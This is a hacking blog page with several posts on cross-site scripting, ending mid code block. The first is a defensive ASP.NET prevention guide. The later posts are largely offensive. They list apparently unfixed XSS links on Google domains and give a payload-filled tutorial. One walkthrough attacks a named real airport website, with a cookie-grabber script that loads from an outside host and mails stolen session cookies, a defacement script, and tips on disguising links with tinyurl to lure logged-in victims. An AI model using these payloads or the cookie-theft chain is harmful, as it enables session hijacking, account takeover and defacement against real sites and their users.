Showing posts with label XSS. Show all posts
Showing posts with label XSS. Show all posts

Sunday, February 3, 2013

How To Prevent Cross-Site Scripting (XSS) in ASP.NET

Hi Guys... This is DJ Alone...This Time I Thinked To Help U Guys By Posting How To Prevent XSS...

So, I'm Posting This...By This Post U Can Easily Secure Ur Website From Cross-Site Scripting Attack...

In Previous Posts We Have Seen What Is Cross Site Scripting & How It Works....If U Reading This Post First Time... First Read The XSS Post Here...


This How to shows how you can help protect your ASP.NET applications from cross-site scripting attacks by using proper input validation techniques and by encoding the output. It also describes a number of other protection mechanisms that you can use in addition to these two main countermeasures.

Cross-site scripting (XSS) attacks exploit vulnerabilities in Web page validation by injecting client-side script code. Common vulnerabilities that make your Web applications susceptible to cross-site scripting attacks include failing to properly validate input, failing to encode output, and trusting the data retrieved from a shared database. To protect your application against cross-site scripting attacks, assume that all input is malicious. Constrain and validate all input. Encode all output that could, potentially, include HTML characters. This includes data read from files and databases.

Contents

Objectives
Overview
Summary of Steps
Step 1. Check That ASP.NET Request Validation Is Enabled
Step 2. Review ASP.NET Code That Generates HTML Output
Step 3. Determine Whether HTML Output Includes Input Parameters
Step 4. Review Potentially Dangerous HTML Tags and Attributes
Step 5. Evaluate Countermeasures
Additional Considerations
Additional Resources
Objectives

Understand the common cross-site scripting vulnerabilities in Web page validation.
Apply countermeasures for cross-site scripting attacks.
Constrain input by using regular expressions, type checks, and ASP.NET validator controls.
Constrain output to ensure the browser does not execute HTML tags that contain script code.
Review potentially dangerous HTML tags and attributes and evaluate countermeasures.
Overview

Cross-site scripting attacks exploit vulnerabilities in Web page validation by injecting client-side script code. The script code embeds itself in response data, which is sent back to an unsuspecting user. The user's browser then runs the script code. Because the browser downloads the script code from a trusted site, the browser has no way of recognizing that the code is not legitimate, and Microsoft Internet Explorer security zones provide no defense. Cross-site scripting attacks also work over HTTP and HTTPS (SSL) connections.

One of the most serious examples of a cross-site scripting attack occurs when an attacker writes script to retrieve the authentication cookie that provides access to a trusted site and then posts the cookie to a Web address known to the attacker. This enables the attacker to spoof the legitimate user's identity and gain illicit access to the Web site.

Common vulnerabilities that make your Web application susceptible to cross-site scripting attacks include:

Failing to constrain and validate input.
Failing to encode output.
Trusting data retrieved from a shared database.
Guidelines

The two most important countermeasures to prevent cross-site scripting attacks are to:

Constrain input.
Encode output.
Constrain Input

Start by assuming that all input is malicious. Validate input type, length, format, and range.

To constrain input supplied through server controls, use ASP.NET validator controls such as RegularExpressionValidator and RangeValidator.
To constrain input supplied through client-side HTML input controls or input from other sources such as query strings or cookies, use the System.Text.RegularExpressions.Regex class in your server-side code to check for expected using regular expressions.
To validate types such as integers, doubles, dates, and currency amounts, convert the input data to the equivalent .NET Framework data type and handle any resulting conversion errors.
Encode Output

Use the AntiXSS.HtmlEncode method to encode output if it contains input from the user or from other sources such as databases. HtmlEncode replaces characters that have special meaning in HTML-to-HTML variables that represent those characters. For example, < is replaced with &lt; and " is replaced with &quot;. Encoded data does not cause the browser to execute code. Instead, the data is rendered as harmless HTML.

Similarly, use AntiXSS.UrlEncode to encode output URLs if they are constructed from input.

Summary of Steps

To prevent cross-site scripting, perform the following steps:

Step 1. Check that ASP.NET request validation is enabled.
Step 2. Review ASP.NET code that generates HTML output.
Step 3. Determine whether HTML output includes input parameters.
Step 4. Review potentially dangerous HTML tags and attributes.
Step 5. Evaluate countermeasures.
Step 1. Check That ASP.NET Request Validation Is Enabled
By default, request validation is enabled in Machine.config. Verify that request validation is currently enabled in your server's Machine.config file and that your application does not override this setting in its Web.config file. Check that validateRequest is set to true as shown in the following code example.

<system.web>
  <pages buffer="true" validateRequest="true" />
</system.web>

You can disable request validation on a page-by-page basis. Check that your pages do not disable this feature unless necessary. For example, you may need to disable this feature for a page if it contains a free-format, rich-text entry field designed to accept a range of HTML characters as input.

To test that ASP.NET request validation is enabled

Create an ASP.NET page that disables request validation. To do this, set ValidateRequest="false", as shown in the following code example.
<%@ Page Language="C#" ValidateRequest="false" %>
<html>
 <script runat="server">
  void btnSubmit_Click(Object sender, EventArgs e)
  {
    // If ValidateRequest is false, then 'hello' is displayed
    // If ValidateRequest is true, then ASP.NET returns an exception
    Response.Write(txtString.Text);
  }
 </script>
 <body>
  <form id="form1" runat="server">
    <asp:TextBox id="txtString" runat="server"
                 Text="<script>alert('hello');</script>" />
    <asp:Button id="btnSubmit" runat="server"
                OnClick="btnSubmit_Click"
                Text="Submit" />
  </form>
 </body>
</html>

Run the page. It displays Hello in a message box because the script in txtString is passed through and rendered as client-side script in your browser.
Set ValidateRequest="true" or remove the ValidateRequest page attribute and browse to the page again. Verify that the following error message is displayed.
A potentially dangerous Request.Form value was detected from the client (txtString="<script>alert('hello...").

This indicates that ASP.NET request validation is active and has rejected the input because it includes potentially dangerous HTML characters.

Note: Do not rely on ASP.NET request validation. Treat it as an extra precautionary measure in addition to your own input validation.


Step 2. Review ASP.NET Code That Generates HTML Output
ASP.NET writes HTML as output in two ways, using "Response.Write" and "<% = ". Search your pages to locate where HTML and URL output is returned to the client.

Step 3. Determine Whether HTML Output Includes Input Parameters
Analyze your design and your page code to determine whether the output includes any input parameters. These parameters can come from a variety of sources. The following list includes common input sources:

Form fields, such as the following.
Response.Write(name.Text);
Response.Write(Request.Form["name"]);
Query Strings
Response.Write(Request.QueryString["name"]);

Query strings, such as the following:
Response.Write(Request.QueryString["username"]);

Databases and data access methods, such as the following:
SqlDataReader reader = cmd.ExecuteReader();
Response.Write(reader.GetString(1));

Be particularly careful with data read from a database if it is shared by other applications.

Cookie collection, such as the following:
Response.Write(
Request.Cookies["name"].Values["name"]);

Session and application variables, such as the following:
Response.Write(Session["name"]);
Response.Write(Application["name"]);

In addition to source code analysis, you can also perform a simple test by typing text such as "XYZ" in form fields and testing the output. If the browser displays "XYZ" or if you see "XYZ" when you view the source of the HTML, your Web application is vulnerable to cross-site scripting.

To see something more dynamic, inject <script>alert('hello');</script> through an input field. This technique might not work in all cases because it depends on how the input is used to generate the output.

Step 4. Review Potentially Dangerous HTML Tags and Attributes
If you dynamically create HTML tags and construct tag attributes with potentially unsafe input, make sure you HTML-encode the tag attributes before writing them out.

The following .aspx page shows how you can write HTML directly to the return page by using the <asp:Literal> control. The code takes user input of a color name, inserts it into the HTML sent back, and displays text in the color entered. The page uses HtmlEncode to ensure the inserted text is safe.

<%@ Page Language="C#" AutoEventWireup="true"%>

<html>
  <form id="form1" runat="server">
    <div>
      Color:&nbsp;<asp:TextBox ID="TextBox1" runat="server"></asp:TextBox><br />
      <asp:Button ID="Button1" runat="server" Text="Show color"
         OnClick="Button1_Click" /><br />
      <asp:Literal ID="Literal1" runat="server"></asp:Literal>
    </div>
  </form>
</html>

<script runat="server">
  private void Page_Load(Object Src, EventArgs e)
  {
    protected void Button1_Click(object sender, EventArgs e)
    {
      Literal1.Text = @"<span style=""color:"
        + Server.HtmlEncode(TextBox1.Text)
        + @""">Color example</span>";
    }        
  }
</Script>

Potentially Dangerous HTML Tags

While not an exhaustive list, the following commonly used HTML tags could allow a malicious user to inject script code:

<applet>
<body>
<embed>
<frame>
<script>
<frameset>
<html>
<iframe>
<img>
<style>
<layer>
<link>
<ilayer>
<meta>
<object>
An attacker can use HTML attributes such as src, lowsrc, style, and href in conjunction with the preceding tags to inject cross-site scripting. For example, the src attribute of the <img> tag can be a source of injection, as shown in the following examples.

<img src="javascript:alert('hello');">
<img src="java&#010;script:alert('hello');">
<img src="java&#X0A;script:alert('hello');">

An attacker can also use the <style> tag to inject a script by changing the MIME type as shown in the following.

<style TYPE="text/javascript">
  alert('hello');
</style>

Step 5. Evaluate Countermeasures
When you find ASP.NET code that generates HTML using some input, you need to evaluate appropriate countermeasures for your specific application. Countermeasures include:

Encode HTML output.
Encode URL output.
Filter user input.
Encode HTML Output

If you write text output to a Web page and you do not know if the text contains HTML special characters (such as <, >, and &), pre-process the text by using the AntiXSS.HtmlEncode method as shown in the following code example. Do this if the text came from user input, a database, or a local file.

Response.Write(AntiXSS.HtmlEncode(Request.Form["name"]));

Do not substitute encoding output for checking that input is well-formed and correct. Use it as an additional security precaution.

Encode URL Output

If you return URL strings that contain input to the client, use the AntiXSS.UrlEncode method to encode these URL strings as shown in the following code example.

Response.Write(AntiXSS.UrlEncode(urlString));

Filter User Input

If you have pages that need to accept a range of HTML elements, for example through some kind of rich text input field, you must disable ASP.NET request validation for the page. If you have several pages that do this, create a filter that allows only the HTML elements that you want to accept. A common practice is to restrict formatting to safe HTML elements such as bold (<b>) and italic (<i>).

To safely allow restricted HTML input

Disable ASP.NET request validation by the adding the ValidateRequest="false" attribute to the @Page directive.
Encode the string input with the HtmlEncode method.
Use a StringBuilder and call its Replace method to selectively remove the encoding on the HTML elements that you want to permit.
The following .aspx page code shows this approach. The page disables ASP.NET request validation by setting ValidateRequest="false". It HTML-encodes the input and then selectively allows the <b> and <i> HTML elements to support simple text formatting.

<%@ Page Language="C#" ValidateRequest="false"%>

<script runat="server">
  void submitBtn_Click(object sender, EventArgs e)
  {
    // Encode the string input
    StringBuilder sb = new StringBuilder(
                         AntiXSS.HtmlEncode(htmlInputTxt.Text));

  // Selectively allow  <b> and <i>
    sb.Replace("&lt;b&gt;", "<b>");
    sb.Replace("&lt;/b&gt;", "");
    sb.Replace("&lt;i&gt;", "<i>");
    sb.Replace("&lt;/i&gt;", "");
    Response.Write(sb.ToString());
  }
</script>


<html>
  <body>
    <form id="form1" runat="server">
      <div>
        <asp:TextBox ID="htmlInputTxt" Runat="server"
                     TextMode="MultiLine" Width="318px"
                     Height="168px"></asp:TextBox>
        <asp:Button ID="submitBtn" Runat="server"
                     Text="Submit" OnClick="submitBtn_Click" />
      </div>
    </form>
  </body>
</html>

Additional Considerations

In addition to the techniques discussed previously in this How to, use the following countermeasures as further safe guards to prevent cross-site scripting:

Set the correct character encoding.
Do not rely on input sanitization.
Use the HttpOnly cookie option.
Use the <frame> security attribute.
Use the innerText property instead of innerHTML.
Set the Correct Character Encoding

To successfully restrict valid data for your Web pages, you should limit the ways in which the input data can be represented. This prevents malicious users from using canonicalization and multi-byte escape sequences to trick your input validation routines. A multi-byte escape sequence attack is a subtle manipulation that uses the fact that character encodings, such as uniform translation format-8 (UTF-8), use multi-byte sequences to represent non-ASCII characters. Some byte sequences are not legitimate UTF-8, but they may be accepted by some UTF-8 decoders, thus providing an exploitable security hole.

ASP.NET allows you to specify the character set at the page level or at the application level by using the <globalization> element in the Web.config file. The following code examples show both approaches and use the ISO-8859-1 character encoding, which is the default in early versions of HTML and HTTP.

To set the character encoding at the page level, use the <meta> element or the ResponseEncoding page-level attribute as follows:

<meta http-equiv="Content Type"
      content="text/html; charset=ISO-8859-1" />
OR
<% @ Page ResponseEncoding="iso-8859-1" %>

To set the character encoding in the Web.config file, use the following configuration.

<configuration>
   <system.web>
      <globalization
         requestEncoding="iso-8859-1"
         responseEncoding="iso-8859-1"/>
   </system.web>
</configuration>

Validating Unicode Characters

Use the following code to validate Unicode characters in a page.

using System.Text.RegularExpressions;

...

public class WebForm1 : System.Web.UI.Page
{
  private void Page_Load(object sender, System.EventArgs e)
  {
    // Name must contain between 1 and 40 alphanumeric characters
    // and (optionally) special characters such as apostrophes
    // for names such as O'Dell
    if (!Regex.IsMatch(Request.Form["name"],
               @"^[\p{L}\p{Zs}\p{Lu}\p{Ll}\']{1,40}$"))
      throw new ArgumentException("Invalid name parameter");

    // Use individual regular expressions to validate other parameters
    ...
  }
}

The following explains the regular expression shown in the preceding code:

^ means start looking at this position.
\p{ ..} matches any character in the named character class specified by {..}.
{L} performs a left-to-right match.
{Lu} performs a match of uppercase.
{Ll} performs a match of lowercase.
{Zs} matches separator and space.
'matches apostrophe.
{1,40} specifies the number of characters: no less than 1 and no more than 40.
$ means stop looking at this position.
Do Not Rely on Input Sanitization

A common practice is for code to attempt to sanitize input by filtering out known unsafe characters. Do not rely on this approach because malicious users can usually find an alternative means of bypassing your validation. Instead, your code should check for known secure, safe input. Table 1 shows various safe ways to represent some common characters.

Table 1: Character Representation

Characters

Decimal

Hexadecimal

HTML Character Set

Unicode

" (double quotation marks)

&#34

&#x22

&quot;

\u0022

' (single quotation mark)

&#39

&#x27

&apos;

\u0027

& (ampersand)

&#38

&#x26

&amp;

\u0026

< (less than)

&#60

&#x3C

&lt;

\u003c

> (greater than)

&#62

&#x3E

&gt;

\u003e

Use the HttpOnly Cookie Option

The HttpOnly cookie attribute prevents client-side scripts from accessing a cookie from the document.cookie property. Instead, the script returns an empty string. The cookie is still sent to the server whenever the user browses to a Web site in the current domain.

Use the <frame> Security Attribute

You can set the security attribute for the <frame> and <iframe> elements. You can use the security attribute to apply the user's Restricted Sites Internet Explorer security zone settings to an individual frame or iframe. By default, the Restricted Sites zone does not support script execution.

If you use the security attribute, it must be set to "restricted" as shown in the following.

<frame security="restricted" src="http://www.somesite.com/somepage.htm"></frame>

Use the innerText Property Instead of innerHTML

If you use the innerHTML property to build a page and the HTML is based on potentially untrusted input, you must use HtmlEncode to make it safe. To avoid having to remember to do this, use innerText instead. The innerText property renders content safe and ensures that scripts are not executed.

The following example shows this approach for two HTML <span> controls. The code in the Page_Load method sets the text displayed in the Welcome1 <span> element using the innerText property, so HTML-encoding is unnecessary. The code sets the text in the Welcome2 <span> element by using the innerHtml property; therefore, you must HtmlEncode it first to make it safe.

<%@ Page Language="C#" AutoEventWireup="true"%>

<html>
  <body>
    <span id="Welcome1" runat="server"> </span>
    <span id="Welcome2" runat="server"> </span>
  </body>
</html>

<script runat="server">
  private void Page_Load(Object Src, EventArgs e)
  {
    // Using InnerText renders the content safe-no need to HtmlEncode
    Welcome1.InnerText = "Hello, " + User.Identity.Name;

    // Using InnerHtml requires the use of HtmlEncode to make it safe
    Welcome2.InnerHtml = "Hello, " +
                        Server.HtmlEncode(User.Identity.Name);
  }
</Script>

Posted By आर्यावर्त3:20 AM

Friday, January 18, 2013

Google Website's Vulnerabilities Unfixed Till Now


Hi all, here we've collected Google and Google's sites Vulnerabilities, which are found in 2012
Note : Xss will work in Mozilla Firefox only ...


1 : Cross site scripting  Vulnerability in Google.com
Domain : http://www.google.com
Title :  iGoogle
Vuln Type : Xss
Author : Yash and Code injector
Status : Unfixed
Link :  http://www.google.com/ig/directory?url=www.01fes.com/x.xml

2 : Open redirect Vulnerability in Google.com 
Domain : wap.google.com
Title : google for smartphones
Vuln Type : Open Redirect
Author : Minhal Mehdi
Status : Unfixed
Link :  http://wap.google.com/search?btnI&q=site:http://www.devilscafe.in/

3 : Xss Vulnerability in Google Apis 
Domain : googleapis.com
Title : Google API
Vuln Type : XSS
Author : d3v1l
Status : Unfixed
Link :  http://commondatastorage.googleapis.com/chromium-browser-continuous/index.html?path=%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E
http://chromium-browser-symbols.commondatastorage.googleapis.com/index.html?path=%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E

if you have any new Vulnerability then you can sumbit it to Google & Earn Money From It...

Credits To :- DevilsCafe.In

Posted By आर्यावर्त12:25 AM

Thursday, January 17, 2013

XSS Tutorial - From Bug to Vulnerability

-:: Introduction ::- 


What is XSS and what does it refer to?
XSS aka Cross Site Scripting is a client-side attack where an attacker creates a malicious link,
containing script- code which is then executed within the victim's browser. The script-code
can be any language supported by the browser but mostly HTML and Javascript is used along
with embedded Flash, Java or ActiveX.

What can Cross Site Scripting be used for?
Cross Site Scripting can be used for a variety of things, such as session-hijacking, browser
attacks, phishing, propaganda and even worms! However it still requires the victim to click
a malicious link created by the attacker or visit a malicious page that the attacker controls.

How could One get a victim to click a XSS-link?
The easiest way to get people to click malicious links is to make them look authentic and non-
malicious. Giving them a reason afterwards is the social-engineering part which should be easy
except if the victim is aware of such attacks and / or has measures against Cross Site Scripting, such as NoScript.

How does One avoid XSS-links looking suspicious?
This is typically done with encoding, short url services, redirects and even flash!

Which types of Cross Site Scripting are there?
The most common types are GET- and POST-based XSS. However Cross Site Scripting can also
be triggered via cookies. Persistent and non-persistent XSS are defined by wether the script will
remain and execute directly on the site (if f.ex. html or sql injection are used) or if the chosen
script will have to be called with a malicious url each time it has to be executed. (non-persistent)

What is the difference between GET- and POST-XSS?
The difference is that when GET-variables is used it is possible to conduct normal XSS attacks
where an attacker sends a malicious crafted URL to the victim which is then executed when
the victim opens the link in the browser.

With POST-variables an attacker could f.ex. use flash to send the victim to the POST-XSS
vulnerable site since it is not possible to create an URL when POST-variables are in use.

Are there sub-categories of Cross Site Scripting?


At the moment there's XSSR and XSSQLI. One could say that XSRF/CSRF belongs to the same
category, however the attack method differs too much from traditional Cross Site Scripting.
XSSR or CSSR aka Cross Site Script Redirection is used to redirect a victim to another page
unwillingly. The page can for example contain a phishing template, browser attack code or in
some cases where the data or javascript URI scheme is used: session-hijacking. XSSQLI is a
mix of Cross Site Scripting and SQL Injection, where an unknowing victim clicks a malicious link
containing SQL Injection instructions for an area in the website which requires privileges that
guests or members doesn't have. XSRF or CSRF (sometimes refered to as C-Surf) stands for
Cross Site Request Forgery which is used to send input from a 3rd party site to the target site.
XSRF can in some cases be triggered just by viewing a specially crafted image but the most
commonly used are URLs. With Cross Site Request Forgery it might be possible to f.ex. alter
the password of the victim if the target site is not secured properly with tokens etc.

What is XST and can it be used for anything?


XST also known as Cross Site (Script) Tracing is a way of abusing the HTTP Trace (Debug)
protocol. Anything that an attacker sends to a web-server that has TRACE enabled will send
the same answer back. If an attacker sends the following:

 TRACE / HTTP/1.0
 Host: target.tld
 Custom-header: <script>alert(0)</script>


Then the attacker will receive the same "Custom-header: <scr..." back allowing script execution.
However after recent browser updates the following year(s) XST has been increasingly harder to
control and execute properly.

How is it possible to find XSS bugs within websites?
There are 2 methods: code / script auditing or fuzzing which is described below.

What kind of tools is required to find XSS bugs? (REQ = Required, OPT = Optional)
- REQ: An Internet Browser (such as FireFox) in case you're fuzzing.
- REQ: A text-viewer (such as notepad) in case you're auditing.
- OPT: An intercepting proxy in case you're doing more advanced XSS. (In FireFox it is possible to use Tamper Data).
- OPT: Browser Addons, for FireFox the following are especially useful: Firebug, JSView and LiveHTTP Headers.

What else is useful to know if One wants to find XSS bugs?
- Browser limitations regarding Cross Site Scripting [1]
- HTTP Headers and how the HTTP protocol works.
- HTML + Javascript and perhaps embedded script attacks. (flash etc.)
- Intercepting proxies (Burp etc.), differential tools (meld, ExamDiff, etc.)
- Useful browser-addons (see FireCat [3])
- Website scanners (Nikto, W3AF, Grendel, Directory-fuzzers etc.)

Where are XSS-bugs typically located?
It is usually located in user submitted input either via GET or POST variables, where it is reflected on
the target site as text outside tags, inside tag values or within javascript. It can also in some cases
be submitted via cookies, http headers or in rare cases file uploads.

How does One protect a site against XSS?
The best way is to ensure that all user input and output is validated properly. However in some cases
an IPS or WAF can also protect against XSS though the best way is still to validate the user-input and -output properly.

-:: Finding the Bug - With Fuzzing ::- 


EASY Example Case - A:


We're at http://djalone.com where we see a "Search-field" in the top-right. Since we don't know the
real source code but only the HTML-output of the site we will have to fuzz anything where it is possible
to submit data. In some cases the data will be reflected on the site and in some cases it wont. If it doesn't
we move on to the next cookie, header, get / post variable or whatever it is that we are fuzzing.

The most effective way to fuzz is not to write: <script>alert(0)</script> since many sites has different
precautions against Cross Site Scripting. Instead we create a custom string which in most cases wont
trigger anything that might alter the output of the site or render error pages that aren't vulnerable.

An example of an effective string could be: "keyword'/\><

" ' /\ > and < are the most commonly used html characters used in Cross Site Scripting. However if we want
to be really thorough then we could also add )(][}{% to the string that we are using to fuzz the target site.

The reason why there's not two of " or ' is because this can trigger a WAF, IPS or whatever precaution the site
might have tried to implement against XSS instead of using a secure coding scheme /plan / development cycle.
The reason why all characters are written as >< instead of <> is because this is a common bypass against XSS-filters!

With that in mind, we use the following string: "haxxor'/\>< to fuzz the search-field:

Lets take a look at the returned HTML-code:

 ...
 <input type="text" name="search" value="&quot;haxxor'/\&gt;&lt;" /> <br /> You searched for \"haxxor\'/\\>< which returned no results.
 ...


As we can see the input tag encoded our fuzzing string correct, however the text afterwards did not encode it
properly as it only added slashes which is completely useless against Cross Site Scripting in this case.

By submitting the following string we can XSS their website: <script>alert(0)</script> or perhaps <script src=hxxp://h4x0r.tld/xss.js></script>

Of course we don't know if the following characters : ( ) and . are filtered but in most cases they work.

Our final XSS-url could be: hxxp://buggysite.tld/search.php?query=<script>alert(0)</script> if GET-variables are used.


[EASY] Example Case - B:
We're at hxxp://yetanothersite.tld where we see another search formular.

The following is returned after our string is submitted to the search field:

 ...
 <input type="text" name="search" value="\"haxxor\'/\\><" /> <br /> You searched for &quot;haxxor'/\&gt;&lt; which returned no results.
 ...


In this case the string after the tag encoded the string properly, however the string inside the tag only had some
slashes added which does nothing in this case. Basically we can bypass this easily with: "><script>alert(0)</script>

If we're going to load external javascript we will have to avoid using " and ' of course.

Our final XSS-url could be: hxxp://yetanothersite.tld/search.php?query="><script>alert(0)</script> if GET-variables are used.

[MODERATE] Example Case - C:
We're at hxxp://prettysecure.tld where we find yet another search field, it's time to submit our fuzzing string.

The following HTML-code is returned after our string is submitted:

 ...
 <input type="text" name="search" value="&quot;haxxor'/\&gt;&lt;"> You searched for "&quot;haxxor'/\&gt;&lt;" which returned no results.
 ... (further down)
 <script>
 ...
 s.prop1="prettysecure";
 s.prop2="\"haxxor%39/\%3E%3C";
 s.prop3="adspace";
 ...
 </script>


For most people this might look secure but it really isn't. A lot of people also overlooks potential Cross Site Scripting
vectors if their string <script>alert(0)</script> is either not output directly or encoded where they expect the XSS
bug to be. This is why it is important to use a keyword that doesn't exist on the site, such as haxxor or something
better. The reason why a keyword is used is because it is searchable almost always, you can call it a XSS-locator. [1]

Anyway, back to our example. s.prop2="\"haxxor%39/\%3E%3C"; looks secure but the flaw is that backspace aka \ is not
filtered or encoded correct. So if we write: \" it will become \\", which will escape the first \ but not our quote.
As you can see, we can't use tags either so we'll have to do something else.

We have of course checked that brackets ( ) are NOT filtered. (in some cases they can be).

By entering the following string we are able to create an alert box: \"; alert(0); s.prop500=\"
This will become: s.prop2=\\"; alert(0); s.prop500=\\" when we submit the string. The reason why we add the s.prop500=\"
variable to our string is because the javascript will most likely NOT execute if we don't. We could also use comments so instead
of s.prop500=\" we just use // in the end of the string.

In this case it is also possible to execute external javascript if One uses a bit more advanced javascript.
In order to do this we can use document.write(String.fromCharCode()); where you will need a decimal converter.

Our final XSS-url could be: hxxp://prettysecure.tld/search.php?query=\"; alert(0); s.prop500=\"

: Finding the Bug - With Auditing :


[EASY] Example Case - A:

The following file (index.php) has some interesting code:


 ...
 if($_GET['view_profile']==1) {
 echo $_GET['name'];
 ... (more code)
 }
 ...


By looking at the above code we can see that if view_profile is equal to 1 then the script prints the "name" variable.
An example attack URL could look like: http://test.com/index.php?view_profile=1&name=<script>alert(0)</script>

[HARD] Example Case - B:

The following file (search.php) has some interesting code:

 ...
 if($_GET['set_flag']==1) {
 $var = "checked";
 }
 echo "<input type='radio' value='flag' checked='" .htmlentities($var). "' />";
 ...


This is a conditional vulnerability where register_globals in php.ini has to be set to On. (Off is factory default).
Register_Globals basically allows an individual to set variables on the fly, even if they are not meant to be set.

This only applies to variables that are NOT set as in the example above. Another problem we have encountered
is htmlentities however due to a coding error we can still abuse the tag without creating a new.
We will need to use event handlers in the <input> tag and some CSS (Cascading Style Sheet) to make sure that
the victim triggers the eventhandler no matter what. There's multiple ways of doing that, one of them is:


 style='display:block;width:99999px;height:99999px;'


An eventhandler that we could use in this case could be onmouseover, even though onblur might be better.

You might ask yourself, why is the above script not secure? Because htmlentities() used that way is insecure, due to
that the tag looks like this in html form: <input type='radio' value='flag' checked='$var' />

Inside the checked value our variable ($var) is encoded, but only " > and < are encoded, not ' due to ENT_QUOTES
were not set in the htmlentities function. This means that we can break out of checked='' easily.

An example attack URL could be: hxxp://was-secure.tld/search.php?test=' style='display:block;width:99999px;height:99999px; ' onmouseover='alert(0)


There is no "Example Case - C" since I have gone through most the important of Cross Site Scripting.

: Additional Information :


XSSR


When it is possible to send a user to the data or javascript URI scheme either via A) GET- or POST-variables or B) User
submitted content such as a link then the XSSR category applies to the bug. However some individuals has claimed that
a site that only accepts HTTP or HTTPS links via GET-variables also falls under the XSSR category.

An example of XSSR could be: hxxp://somesite.tld/redirect.php?link=data:text/html,<script>alert(0)</script>
And if the Javascript URI scheme is used: hxxp://somesite.tld/redirect.php?link=java script:alert(0);

This has in some cases been known to leak cookies and is therefore used in session-hijacking.

XSSQLI
When a SQL Injection vulnerability exists within a privileged area of the target site, XSSQLI becomes usable.

An example of XSSQLI could be tricking the administrator of "shouldbescure.tld" to click either the SQLInjection
link or click a Cross Site Scripting link which contains a call to the SQL Injection in the privileged area of the site
where this could be the vulnerable part: hxxp://shouldbesecure.tld/admin.php?del=1 AND 1=1/*

XSRF


Also known as CSRF and C-Surf can be used against sites that doesn't use tokens which are usually hidden inside tags.
A common way to use tokens against C-Surf attacks is to hide them inside tags like:

 <input type="hidden" name="anti-csrf" value="random token value" />


If the tokens are not random enough it might be possible to calculate these and still use C-Surf in an attack.


All of the best.....

Posted By आर्यावर्त10:15 PM

How to Hunt for XSS Vulnerabilities

Filled under: ,

Finding an xss’s vulnerable website is not very difficult.
In most cases we can write in the search box:

Code:
“><script>alert(‘try_xss’);</script>

This script does nothing more than send an alert on the screen, if you see the alert means that the script is taken into the site.

Now we try to write:

Code:
“><script>alert(‘document.cookie’);</script> or
“><script>alert(document.cookie);</script>

If this xss works, we will see on the screen the alert within our cookies session of the site.


Or if he had not run the url just check and see how it is generated:

Example:

Last xss that I have discovered is on “aeroporto di Puglia” website:

http://www.seap-puglia.it/

if we try to find “><script>alert(‘try_xss’);</script> nothing happens.
But now look at the url:

Link:
http://www.seap-puglia.it/default.asp?rif=1&tiporicerca=2&strRicerca1=
%22%3E%3Cscript%3Ealert(‘try_xss’);%3C/script%3E&strRicerca2=
&strRicerca3=&sel1=AND&sel2=AND&RicInt1=1&RicInt2=0&RicInt3=0

we find the variable that makes it possible to search, in this case “strRicerca1″

Then apply the alert code directly after this variable:

Link:
http://www.seap-puglia.it/default.asp?rif=1&tiporicerca=2&
strRicerca1=”><script>alert(‘try_xss’);</script>


We will magically witness the alert.

Now we try to write:

Link:
http://www.seap-puglia.it/default.asp?rif=1&tiporicerca=2&str
Ricerca1=”><script>alert(document.cookie);</script>

Perfect! We see our cookie!

At this time we need to know the victim cookie and then comes in a “cookie grabbers”. Cookie grabber is a script that stay on our server and it include into website url to send us cookies directly by the victim

If we want include a file with javascript we can write:

Code:
“><script src=”http://www.googlebig.com/cookiescript.js”></script>

Inside the file “cookiescript.js” we write a code that displays the cookie and sends it by e-mail.

At this time we need to know the victim cookie and then comes in a “cookie grabbers”. Cookie grabber is a script that stay on our server and it include into website url to send us cookies directly by the victim

Howto include a javascript file:
Code:
"><script src="http://www.googlebig.com/cookiescript.js"></script>


Into cookiescript.js we will write a code that displays the cookie and sends it by email.

First of all we need to create a redirect to our site including the variable of cookies.

then:
Code:
<script>location.href="http://googlebig.com/cookie.php?cookie=</script>


Now we create cookie.php
Code:
<? mail("admin@googlebig.com","Here s the cookie stolen",$_GET['cookie']; ?>


Now upload cookie.php and cookiescript.js on our server and then go to:


Code:
http://www.seap-puglia.it/default.asp?rif=1&tiporicerca=2&strRicerca
1="><script src="http://www.googlebig.com/cookiescript.js"></script>


If everything works we will receiving cookie by email.

Now we send link to victim…we can send extended link or use a redirect service like http://www.tinyurl.com

Once created redirect, in this case http://tinyurl.com/2rgry5 , we can contact user, possibly through the same site to make sure that it open the link when it’s is logged on the site.

XSS THAT DOESN’T WORK

If a xss does not work and therefore do not have the chance of a redirect or not displaying cookies, it can be used as a phishing page.

An example of code is:
Code PHP:
var title = "XSSED BY GOOGLEBIG.COM";var bgcolor = "#000000";
var image_url = "http://www.googlebig.com/googlebig.jpg";
var text = "Langy was here ";var font_color = "#FFFFFF";
deface(title, bgcolor, image_url, text, font_color);
function deface(pageTitle, bgColor, imageUrl, pageText, fontColor)
{ document.title = pageTitle;
document.body.innerHTML = '';
document.bgColor = bgColor;
var overLay = document.createElement("div");
overLay.style.textAlign = 'center';
document.body.appendChild(overLay);
var txt = document.createElement("p");
txt.style.font = 'normal normal bold 36px Verdana';
txt.style.color = fontColor; txt.innerHTML = pageText;
overLay.appendChild(txt);
if (image_url != "") { var newImg = document.createElement("img");
newImg.setAttribute("border", '0');
newImg.setAttribute("src", imageUrl);
overLay.appendChild(newImg); }
var footer = document.createElement("p");
footer.style.font = 'italic normal normal 12px Arial';
footer.style.color = '#DDDDDD'; footer.innerHTML = title;
overLay.appendChild(footer);}



This code must be entered in this way:

Code:
http://[Sitevictim]/page.php?variable="><script src="http://www.googlebig.com/script.js"></script>


In this way we will see javascript that we created.

Even in this case we can rely on tinyurl to mask our complete url and include directly redirect.
Code:
http://[Sitevictim]/page.php?variable="><script src="http://tinyurl.com/xxxxx"></script>

Another way to bring the victim on the page that we want is this:
Code:
http://[Sitevictim]/page.php?variable="><script>
location.href="http://www.googlebig.com/fakepage.htm</script>

For fixing the problem of cross site injection we have to use one of the 3 functions php.

These functions clean up the HTML tags, so is not possible inject into the code.

The function more used is htmlspecialchars() that transmutes all the characters “<” and “>” into “&lt;” and “&gt”.

Another option is htmlentities(), which replaces all the characters in the corresponding entities.
Code PHP:
<?
// This page shows an example
// of the differences in output between 2 functions
$input = '<script>alert(1);</script>';
echo htmlspecialchars($input) . '<br />';
echo htmlentities($input);
?>
An example of htmlentities()
Code PHP:
<?php
$str = "A 'quote' is <b>bold</b>";
echo htmlentities($str);
echo htmlentities($str, ENT_QUOTES);
?>

The first show –> A ‘quote’ is &lt;b&gt;bold&lt;/b&gt;
The second –> A &#039;quote&#039; is &lt;b&gt;bold&lt;/b&gt;
An example of htmlspecialchars()
Code PHP:
<?php
